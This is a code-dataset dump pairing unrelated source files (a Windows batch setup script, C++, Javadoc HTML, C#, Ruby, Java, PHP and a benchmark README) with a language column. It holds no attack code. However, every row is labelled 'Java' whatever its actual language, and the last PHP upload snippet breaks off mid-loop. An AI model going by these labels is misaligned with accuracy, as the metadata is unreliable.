code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
:: This sets up the bare windows7 system
:: with my basic preferences
:: Installed drivers
:: Installed chrome
:: Installed dropbox
:: Dropbox
"https://github.com/Erotemic/local/archive/master.zip"
set HOME=%USERPROFILE%
set APP_PATH=%HOME%\local\apps
set PATH=%APP_PATH%;%PATH%
:: Install Drivers
:: Install WGET
:: http://gnuwin32.sourceforge.net/packages/wget.htm
set WGET=%APP_PATH%\wget.exe
:: Install GVIM
set GVIM_EXE="ftp://ftp.vim.org/pub/vim/pc/gvim74.exe"
:: TrueCrypt
:: Install Python
wget "http://www.python.org/ftp/python/2.7.6/python-2.7.6.msi"
wget "http://www.python.org/ftp/python/2.7.6/python-2.7.6.msi.asc"
md5sum python-2.7.6.msi > tmppymd5
set /p PYMD5_VAL= < tmppymd5
del tmppymd5
set PYMD5=ac54e14f7ba180253b9bae6635d822ea *python-2.7.6.msi
if "%PYMD5%" NEQ "%PYMD5_VAL%" (
echo "md5 failed"
goto :exit_fail
) else (
echo "md5 passed"
)
gpg --keyserver keys.gnupg.net
gpg --recv-keys 7D9DC8D2 :: martin v lowis's key
:: Install GIT
:: Install 7zip
:: Install MinGW
:: Install AutoHotKey
set AHK_URL="http://l.autohotkey.net/AutoHotkey_L_Install.exe"
:: Install Chrome
:: Install Steam
:: Install Windows Updates
:: Install Other:
:: FileZilla
:: WinSplit Revolution
:: Spotify
:: RapidEE
:: Cisco VPN
:: Microsoft Security Essentials
:: Flux
:: VLC
:: Sumatra
:: Dropbox
:: Zotero
:: Dia
:: Flux
:: Inno Setup 5
::
:: PeerBlock
:: Reaper
:: Audacity
:: LibreOffice
:: PS
::
:: MiTeX 2.9
:: GhostScript
::
:: StarCraft2
:: GnuWin32?
:: Github?
:: Skype?
:exit_success
echo "SUCCESS"
:exit_fail
echo "FAILURE!"
| Java |
#include "if_expression.h"
#include <glog/logging.h>
#include "../internal/compilation.h"
#include "../public/value.h"
namespace afc {
namespace vm {
namespace {
class IfExpression : public Expression {
public:
IfExpression(std::shared_ptr<Expression> cond,
std::shared_ptr<Expression> true_case,
std::shared_ptr<Expression> false_case,
std::unordered_set<VMType> return_types)
: cond_(std::move(cond)),
true_case_(std::move(true_case)),
false_case_(std::move(false_case)),
return_types_(std::move(return_types)) {
CHECK(cond_ != nullptr);
CHECK(cond_->IsBool());
CHECK(true_case_ != nullptr);
CHECK(false_case_ != nullptr);
}
std::vector<VMType> Types() override { return true_case_->Types(); }
std::unordered_set<VMType> ReturnTypes() const override {
return return_types_;
}
PurityType purity() override {
return cond_->purity() == PurityType::kPure &&
true_case_->purity() == PurityType::kPure &&
false_case_->purity() == PurityType::kPure
? PurityType::kPure
: PurityType::kUnknown;
}
futures::Value<EvaluationOutput> Evaluate(Trampoline* trampoline,
const VMType& type) override {
return trampoline->Bounce(cond_.get(), VMType::Bool())
.Transform([type, true_case = true_case_, false_case = false_case_,
trampoline](EvaluationOutput cond_output) {
switch (cond_output.type) {
case EvaluationOutput::OutputType::kReturn:
case EvaluationOutput::OutputType::kAbort:
return futures::Past(std::move(cond_output));
case EvaluationOutput::OutputType::kContinue:
return trampoline->Bounce(cond_output.value->boolean
? true_case.get()
: false_case.get(),
type);
}
auto error = afc::editor::Error(L"Unhandled OutputType case.");
LOG(FATAL) << error;
return futures::Past(EvaluationOutput::Abort(error));
});
}
std::unique_ptr<Expression> Clone() override {
return std::make_unique<IfExpression>(cond_, true_case_, false_case_,
return_types_);
}
private:
const std::shared_ptr<Expression> cond_;
const std::shared_ptr<Expression> true_case_;
const std::shared_ptr<Expression> false_case_;
const std::unordered_set<VMType> return_types_;
};
} // namespace
std::unique_ptr<Expression> NewIfExpression(
Compilation* compilation, std::unique_ptr<Expression> condition,
std::unique_ptr<Expression> true_case,
std::unique_ptr<Expression> false_case) {
if (condition == nullptr || true_case == nullptr || false_case == nullptr) {
return nullptr;
}
if (!condition->IsBool()) {
compilation->errors.push_back(
L"Expected bool value for condition of \"if\" expression but found " +
TypesToString(condition->Types()) + L".");
return nullptr;
}
if (!(true_case->Types() == false_case->Types())) {
compilation->errors.push_back(
L"Type mismatch between branches of conditional expression: " +
TypesToString(true_case->Types()) + L" and " +
TypesToString(false_case->Types()) + L".");
return nullptr;
}
std::wstring error;
auto return_types = CombineReturnTypes(true_case->ReturnTypes(),
false_case->ReturnTypes(), &error);
if (!return_types.has_value()) {
compilation->errors.push_back(error);
return nullptr;
}
return std::make_unique<IfExpression>(
std::move(condition), std::move(true_case), std::move(false_case),
std::move(return_types.value()));
}
} // namespace vm
} // namespace afc
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (version 1.7.0_80) on Sat Dec 19 22:20:05 CET 2015 -->
<title>NewLinkedItemActionPlugin (Genji Scrum Tool & Issue Tracking API Documentation 5.0.1)</title>
<meta name="date" content="2015-12-19">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="NewLinkedItemActionPlugin (Genji Scrum Tool & Issue Tracking API Documentation 5.0.1)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../com/aurel/track/item/action/PluginItemActionException.html" title="class in com.aurel.track.item.action"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/aurel/track/item/action/NewLinkedItemActionPlugin.html" target="_top">Frames</a></li>
<li><a href="NewLinkedItemActionPlugin.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.aurel.track.item.action</div>
<h2 title="Class NewLinkedItemActionPlugin" class="title">Class NewLinkedItemActionPlugin</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.AbstractPluginItemAction</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.NewItemActionPlugin</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.NewItemChildActionPlugin</a></li>
<li>
<ul class="inheritance">
<li>com.aurel.track.item.action.NewLinkedItemActionPlugin</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html" title="interface in com.aurel.track.item.action">IPluginItemAction</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">NewLinkedItemActionPlugin</span>
extends <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></pre>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#NewLinkedItemActionPlugin()">NewLinkedItemActionPlugin</a></strong>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected <a href="../../../../../com/aurel/track/fieldType/runtime/base/WorkItemContext.html" title="class in com.aurel.track.fieldType.runtime.base">WorkItemContext</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#createCtx(com.aurel.track.item.ItemLocationForm,%20java.lang.Integer,%20java.util.Locale)">createCtx</a></strong>(<a href="../../../../../com/aurel/track/item/ItemLocationForm.html" title="class in com.aurel.track.item">ItemLocationForm</a> form,
java.lang.Integer personID,
java.util.Locale locale)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></strong>(java.lang.Integer personID,
<a href="../../../../../com/aurel/track/beans/TWorkItemBean.html" title="class in com.aurel.track.beans">TWorkItemBean</a> workItemBean,
boolean allowedToChange,
boolean allowedToCreate,
int appEdition)</code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.NewItemChildActionPlugin">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></h3>
<code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#editItem(java.util.Map,%20java.lang.Integer,%20java.util.Map,%20java.lang.Integer,%20java.lang.Integer)">editItem</a>, <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#encodeJsonDataStep1(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.String,%20java.lang.String)">encodeJsonDataStep1</a>, <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#extractItemLocation(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.util.Map,%20java.lang.Integer,%20java.lang.Integer)">extractItemLocation</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.NewItemActionPlugin">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html" title="class in com.aurel.track.item.action">NewItemActionPlugin</a></h3>
<code><a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html#canFinishInFirstStep()">canFinishInFirstStep</a>, <a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html#next(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.lang.Integer,%20java.util.Map,%20java.lang.String,%20java.lang.String)">next</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.AbstractPluginItemAction">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html" title="class in com.aurel.track.item.action">AbstractPluginItemAction</a></h3>
<code><a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#parseBoolean(java.lang.Object)">parseBoolean</a>, <a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#parseInt(java.lang.Object)">parseInt</a>, <a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#saveInFirsStep(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.util.Map)">saveInFirsStep</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="NewLinkedItemActionPlugin()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>NewLinkedItemActionPlugin</h4>
<pre>public NewLinkedItemActionPlugin()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="createCtx(com.aurel.track.item.ItemLocationForm, java.lang.Integer, java.util.Locale)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>createCtx</h4>
<pre>protected <a href="../../../../../com/aurel/track/fieldType/runtime/base/WorkItemContext.html" title="class in com.aurel.track.fieldType.runtime.base">WorkItemContext</a> createCtx(<a href="../../../../../com/aurel/track/item/ItemLocationForm.html" title="class in com.aurel.track.item">ItemLocationForm</a> form,
java.lang.Integer personID,
java.util.Locale locale)</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#createCtx(com.aurel.track.item.ItemLocationForm,%20java.lang.Integer,%20java.util.Locale)">createCtx</a></code> in class <code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></code></dd>
</dl>
</li>
</ul>
<a name="isEnabled(java.lang.Integer, com.aurel.track.beans.TWorkItemBean, boolean, boolean, int)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>isEnabled</h4>
<pre>public boolean isEnabled(java.lang.Integer personID,
<a href="../../../../../com/aurel/track/beans/TWorkItemBean.html" title="class in com.aurel.track.beans">TWorkItemBean</a> workItemBean,
boolean allowedToChange,
boolean allowedToCreate,
int appEdition)</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></code> in interface <code><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html" title="interface in com.aurel.track.item.action">IPluginItemAction</a></code></dd>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></code> in class <code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></code></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../com/aurel/track/item/action/PluginItemActionException.html" title="class in com.aurel.track.item.action"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/aurel/track/item/action/NewLinkedItemActionPlugin.html" target="_top">Frames</a></li>
<li><a href="NewLinkedItemActionPlugin.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small><a href="http://www.trackplus.com">Genji Scrum Tool & Issue Tracking API Documentation</a> <i>Copyright © 2015 Steinbeis Task Management Solutions. All Rights Reserved.</i></small></p>
</body>
</html>
| Java |
using System;
using System.Diagnostics;
using EasyRemote.Spec;
namespace EasyRemote.Impl.Extension
{
public static class PathExt
{
/// <summary>
/// Get path for program
/// </summary>
/// <param name="program">Program</param>
/// <returns>Full path</returns>
public static string GetPath(this IProgram program)
{
if (String.IsNullOrEmpty(program.Path))
{
return null;
}
Debug.Print("{0} => {1}", program.Path, Environment.ExpandEnvironmentVariables(program.Path));
return Environment.ExpandEnvironmentVariables(program.Path);
}
}
} | Java |
// Sound file format definition -- A. Amiruddin -- 25/12/2016
// REVISION HISTORY
// None
//=================================================================================================
// Copyright (C) 2016 Afeeq Amiruddin
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//=================================================================================================
#ifndef RIKA_VOICEPACK_FORMAT_H_INCLUDED
#define RIKA_VOICEPACK_FORMAT_H_INCLUDED
//*************************************************************************************************
// Change this according to your sound file's format
const char* pszSoundFileFormat = ".wav";
//*************************************************************************************************
#endif // RIKA_VOICEPACK_FORMAT_H_INCLUDED
| Java |
# Copyright (c) 2013-2014 SUSE LLC
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 3 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact SUSE LLC.
#
# To contact SUSE about this file by physical or electronic mail,
# you may find current contact information at www.suse.com
module Pennyworth
class Command
def initialize
Cheetah.default_options = { :logger => logger }
end
def config
@config ||= YAML.load_file(File.dirname(__FILE__) + "/../../../config/setup.yml")
end
def logger
@logger ||= Logger.new("/tmp/pennyworth.log")
end
private
def print_ssh_config(vagrant, vm_name)
config = vagrant.ssh_config(vm_name)
config.each_pair do |host, host_config|
puts "#{host}\t#{host_config["HostName"]}"
end
end
end
end
| Java |
# Copyright (c) 2015 ProbeDock
# Copyright (c) 2012-2014 Lotaris SA
#
# This file is part of ProbeDock.
#
# ProbeDock is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ProbeDock is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with ProbeDock. If not, see <http://www.gnu.org/licenses/>.
class TestPayloadPolicy < ApplicationPolicy
def index?
user.is?(:admin) || user.member_of?(organization)
end
class Scope < Scope
def resolve
if user.is? :admin
scope
else
scope.joins(project_version: :project).where('projects.organization_id = ?', organization.id)
end
end
end
class Serializer < Serializer
def to_builder options = {}
Jbuilder.new do |json|
json.id record.api_id
json.bytes record.contents_bytesize
json.state record.state
json.endedAt record.ended_at.iso8601(3)
json.receivedAt record.received_at.iso8601(3)
json.processingAt record.processing_at.iso8601(3) if record.processing_at
json.processedAt record.processed_at.iso8601(3) if record.processed_at
end
end
end
end
| Java |
import net.sf.javabdd.*;
/**
* @author John Whaley
*/
public class NQueens {
static BDDFactory B;
static boolean TRACE;
static int N; /* Size of the chess board */
static BDD[][] X; /* BDD variable array */
static BDD queen; /* N-queen problem expressed as a BDD */
static BDD solution; /* One solution */
public static void main(String[] args) {
if (args.length != 1) {
System.err.println("USAGE: java NQueens N");
return;
}
N = Integer.parseInt(args[0]);
if (N <= 0) {
System.err.println("USAGE: java NQueens N");
return;
}
TRACE = true;
long time = System.currentTimeMillis();
runTest();
freeAll();
time = System.currentTimeMillis() - time;
System.out.println("Time: "+time/1000.+" seconds");
BDDFactory.CacheStats cachestats = B.getCacheStats();
if (cachestats != null && cachestats.uniqueAccess > 0) {
System.out.println(cachestats);
}
B.done();
B = null;
}
public static double runTest() {
if (B == null) {
/* Initialize with reasonable nodes and cache size and NxN variables */
String numOfNodes = System.getProperty("bddnodes");
int numberOfNodes;
if (numOfNodes == null)
numberOfNodes = (int) (Math.pow(4.42, N-6))*1000;
else
numberOfNodes = Integer.parseInt(numOfNodes);
String cache = System.getProperty("bddcache");
int cacheSize;
if (cache == null)
cacheSize = 1000;
else
cacheSize = Integer.parseInt(cache);
numberOfNodes = Math.max(1000, numberOfNodes);
B = BDDFactory.init(numberOfNodes, cacheSize);
}
if (B.varNum() < N * N) B.setVarNum(N * N);
queen = B.universe();
int i, j;
/* Build variable array */
X = new BDD[N][N];
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
X[i][j] = B.ithVar(i * N + j);
/* Place a queen in each row */
for (i = 0; i < N; i++) {
BDD e = B.zero();
for (j = 0; j < N; j++) {
e.orWith(X[i][j].id());
}
queen.andWith(e);
}
/* Build requirements for each variable(field) */
for (i = 0; i < N; i++)
for (j = 0; j < N; j++) {
if (TRACE) System.out.print("Adding position " + i + "," + j+" \r");
build(i, j);
}
solution = queen.satOne();
double result = queen.satCount();
/* Print the results */
if (TRACE) {
System.out.println("There are " + (long) result + " solutions.");
double result2 = solution.satCount();
System.out.println("Here is "+(long) result2 + " solution:");
solution.printSet();
System.out.println();
}
return result;
}
public static void freeAll() {
for (int i = 0; i < N; i++)
for (int j = 0; j < N; j++)
X[i][j].free();
queen.free();
solution.free();
}
static void build(int i, int j) {
BDD a = B.universe(), b = B.universe(), c = B.universe(), d = B.universe();
int k, l;
/* No one in the same column */
for (l = 0; l < N; l++) {
if (l != j) {
BDD u = X[i][l].apply(X[i][j], BDDFactory.nand);
a.andWith(u);
}
}
/* No one in the same row */
for (k = 0; k < N; k++) {
if (k != i) {
BDD u = X[i][j].apply(X[k][j], BDDFactory.nand);
b.andWith(u);
}
}
/* No one in the same up-right diagonal */
for (k = 0; k < N; k++) {
int ll = k - i + j;
if (ll >= 0 && ll < N) {
if (k != i) {
BDD u = X[i][j].apply(X[k][ll], BDDFactory.nand);
c.andWith(u);
}
}
}
/* No one in the same down-right diagonal */
for (k = 0; k < N; k++) {
int ll = i + j - k;
if (ll >= 0 && ll < N) {
if (k != i) {
BDD u = X[i][j].apply(X[k][ll], BDDFactory.nand);
d.andWith(u);
}
}
}
c.andWith(d);
b.andWith(c);
a.andWith(b);
queen.andWith(a);
}
}
| Java |
# gbt (Gröbner basis tests)
Testing of Gröbner basis implementations is an important part of
making algorithms more effective. The `gbt' package is a lightweight tool
to support this task.
**gbt** is designed to do benchmarking for any computer algebra systems
which can be started by an executable. The well known computer algebra
systems *Maxima*, *Singular* and *Giac* are supported out of the box.
Other systems like *CoCoA*, *JAS*, *Reduce* are also supported but they
should be installed from source at the moment, and may require some fine
tuning.
**gbt** provides a manual test for a subset (or even all) installed
computer algebra systems on your machine for a given input which must be
a Gröbner basis computation of an ideal with respect to a monomial
ordering. **gbt** also provides automated testing for a set of formerly
entered tests, that is, it can help performing a bunch of tests
on a single run.
## Installation
### Prerequisites
You need PHP on your workstation which is preferably a Linux server with
Ubuntu 16.04 and PHP 7 installed.
The benchmarks can be run either from command line or a web browser.
In the latter case you will need a piece of web server software
for that—the simplest choice is Apache.
If you use Apache, you may want to turn on userdir support and
allow the users to run PHP scripts in their userdir. See
[Ubuntu's guide] (https://wiki.ubuntu.com/UserDirectoryPHP) for some hints
on this.
If you are under Ubuntu, please install the packages *maxima*,
*singular* and *giac* (for Giac you need to follow
[the official guide] (http://www-fourier.ujf-grenoble.fr/~parisse/install_en#packages)
to add the repository first).
### Installing gbt for Apache/PHP/userdir
We assume that you chose userdir installation above for the user _joe_.
Now you will create the folder /home/_joe_/public_html/gbtest/
by copying the content of the folder __gbtest/__ from the gbt project.
Then, please change the folder tests/ and benchmark/ in the gbtest/ folder
to world writable:
$ cd ~/public_html/gbtest/
$ chmod 1777 tests/ benchmark/
Now by pointing your browser to http://IP.OF.YOUR.SERVER/~joe/gbtest/
you should see the following:

By filling in the form with the provided example, and submitting it,
the following is what you should expect:

The output of each computer algebra system should be an ideal with the
element "1". For example, in Maxima something like this should be shown
after clicking on the text "finished":
Maxima 5.37.2 http://maxima.sourceforge.net
using Lisp GNU Common Lisp (GCL) GCL 2.6.12
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
The function bug_report() provides bug reporting information.
(%i1) (%o3) [1]
(%i4)
## Configuration and next steps
Now you can go back to http://IP.OF.YOUR.SERVER/~joe/gbtest/
and please click on the link __documentation__ for further details.
# Author
Zoltán Kovács <zoltan@geogebra.org>
| Java |
using CP77.CR2W.Reflection;
using FastMember;
using static CP77.CR2W.Types.Enums;
namespace CP77.CR2W.Types
{
[REDMeta]
public class ItemCompareBuilder : IScriptable
{
[Ordinal(0)] [RED("item1")] public InventoryItemData Item1 { get; set; }
[Ordinal(1)] [RED("item2")] public InventoryItemData Item2 { get; set; }
[Ordinal(2)] [RED("compareBuilder")] public CHandle<CompareBuilder> CompareBuilder { get; set; }
public ItemCompareBuilder(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name) { }
}
}
| Java |
<?php
namespace controllers\bases;
abstract class HttpBase extends UriMethodBase {
/**
* @var array
*/
protected $params;
function __construct() {
$uriSections = \Request::getInstance()->getUriSections();
$paramsUri = array_slice($uriSections, DEFAULT_PARAMS_START_POSITION);
//This is not a magical number, we quit the empty one (0), controllers (1), method(2)
foreach ($this->getParamsNames() as $ind => $field) {
if (isset($paramsUri[$ind])) {
$this->params[$field] = \Sanitizer::cleanString($paramsUri[$ind]);
}
}
}
public function execute() {
$action = $this->getMethodCalled();
if (!method_exists($this, $action)) {
_logErr("Action '$action' not found, changing to 'render'");
$action = DEFAULT_METHOD;
}
return $this->$action();
}
public function getParam($type, $nameParam, $defaultValue) {
if(!isset($this->params[$nameParam])) {
return \Sanitizer::defineType($type, $defaultValue);
}
return \Sanitizer::defineType($type, $this->params[$nameParam]);
}
public abstract function getParamsNames();
public abstract function error();
}
| Java |
<?php
$return_value = 0;
if(isset($_FILES['photo']))
{
$target_dir = "../../upload/news/doc/";
require "../config.php";
$total_files = sizeof($_FILES['photo']['name']);
$resp = '';
for($i = 0; $i < $total_files; $i++)
{
$tmp_name = $_FILES['photo']["tmp_name"][$i];
$name = $_FILES['photo']["name"][$i];
$cfg = new config();
$p_index = $cfg->index_of($name, ".");
$new_name = md5(date('Y-m-d H:i:s:u').$i);
